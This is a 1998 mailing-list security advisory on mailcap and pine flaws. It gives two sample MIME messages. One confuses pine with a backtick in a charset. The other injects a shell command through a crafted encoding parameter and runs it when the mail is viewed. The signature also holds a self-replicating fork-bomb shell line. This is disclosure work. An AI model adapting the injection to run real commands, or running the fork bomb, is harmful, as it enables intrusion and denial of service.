mailrc and pine security holes

From: Michal Zalewski (lcamtufat_private)
Date: Sun Apr 05 1998 - 06:25:25 PDT

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    Many of mailcap-compatible unix mail clients have several security holes.
    Mailcap mechanism is usually so poorly implemented that it's possible
    to perform wida range of attacks - from 'harmless' messing on screen,
    through executing specific commands with arbitrary parameters,
    even to executing *arbitrary* commands via e-mail message.
    
    Here are examples, both tested under Linux RH 5.0 distribution (mailcap
    1.0.6, pine 3.96):
    
    
    ========================================
    Example 1 (light) - pine 3.96 confusion
    =======================================
    
    Following example demostrates how to cause a few 'mostly harmless'
    errors due to the improper expansion of ` character by pine - it's
    just annoying, because you can't view this mail properly, but I
    have no idea if it's exploitable:
    
    **** SAMPLE MIME MESSAGE ****
    MIME-Version: 1.0
    Content-Type: multipart/alternative;
            boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
    
    ------=_NextPart_000_0007_01BD5F09.B6797740
    Content-Type: text/plain;
            charset="crashme`"
    Content-Transfer-Encoding: quoted-printable
    
    Hellow!
    
    ------=_NextPart_000_0007_01BD5F09.B6797740--
    **** END OF EXAMPLE ***
    
    
    ===============================================
    Example 2 (heavy) - execution of arbitrary code
    ===============================================
    
    That's something even more dangerous - following MIME mail, when viewed,
    executes 'touch /tmp/BIG_HOLE' (bug lies in metamail script):
    
    **** SAMPLE MIME MESSAGE ****
    MIME-Version: 1.0
    Content-Type: multipart/alternative;
            boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
    
    ------=_NextPart_000_0007_01BD5F09.B6797740
    Content-Type: default;
            encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
    Content-Transfer-Encoding: quoted-printable
    
    Hellow!!!
    
    ------=_NextPart_000_0007_01BD5F09.B6797740--
    **** END OF EXAMPLE ****
    
    _______________________________________________________________________
    Michal Zalewski [lcamtufat_private] <= finger for pub PGP key
    Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
    [echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]
    



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